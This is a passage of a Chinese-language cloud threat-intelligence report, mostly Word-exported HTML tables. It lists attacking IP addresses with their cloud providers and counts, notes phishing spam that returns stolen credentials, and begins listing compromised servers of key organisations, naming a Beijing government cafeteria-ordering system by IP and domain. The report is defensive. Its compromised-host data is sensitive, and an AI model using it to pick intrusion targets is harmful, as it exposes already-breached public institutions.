153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">Linode</span></span></p>
</div>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">119.91.140.80</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="GramE"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman"">腾讯云</span></span></p>
</div>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">128.199.244.30</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">159.89.127.186</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">137.184.134.47</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">157.245.255.84</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">2</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">167.172.174.51</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="142" nowrap="" style="width:106.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>从垃圾邮件的内容上看，垃圾钓鱼邮件主要使用的语言是英语，邮件内容主要是返回base64编码的被攻击邮箱的账号密码信息和涉及金钱的诈骗信息等。</p><h2 id="4-">4 云上重点单位攻击事件案例分析</h2><p>本月我们发现了较多起云上重点单位资产发起对外攻击的案例，包括了<strong>多地政府机关的食堂订餐系统，某地事业单位的主页，某单位船舶管理系统，某车企正在开发中的客服平台，大型三甲公立医院，以及大型国有电信运营商的云上企业邮箱服务等等</strong>。这些重点单位服务器被黑客入侵后可能会造成用户个人信息、业务数据等敏感信息泄露，建议有关单位及时采取措施处置。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:729.8pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><strong><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></strong><strong><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="111" valign="top" style="width:83.3pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></strong><strong><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">所在省份</span><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">域名</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><strong><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">云服务</span></strong></span><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="85" style="width:63.5pt;border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:
accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">行业</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
<td width="340" nowrap="" style="width:9.0cm;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">网站内容</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">123.57.8.100<o:p></o:p></span></strong></p>
</td>
<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="208" nowrap="" style="width:155.95pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">dgz.szwkzh.cn<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">xfjl.szwkzh.cn<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">jsst.szwkzh.cn<o:p></o:p></span></p>
</td>
<td width="114" nowrap="" style="width:85.35pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="85" style="width:63.5pt;border-top:none;border-left:none;border-bottom:
solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:
153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">政府机关</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td width="340" nowrap="" style="width:9.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">多地政府机关食堂订餐系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:10.8pt">
<td width="115" nowrap="" style="width:86.55pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US" style="font-size:11.0pt;color:black">8.142.72.84<o:p></o:p></span></strong></p>
</td>
<td width="111" style="width:83.3pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
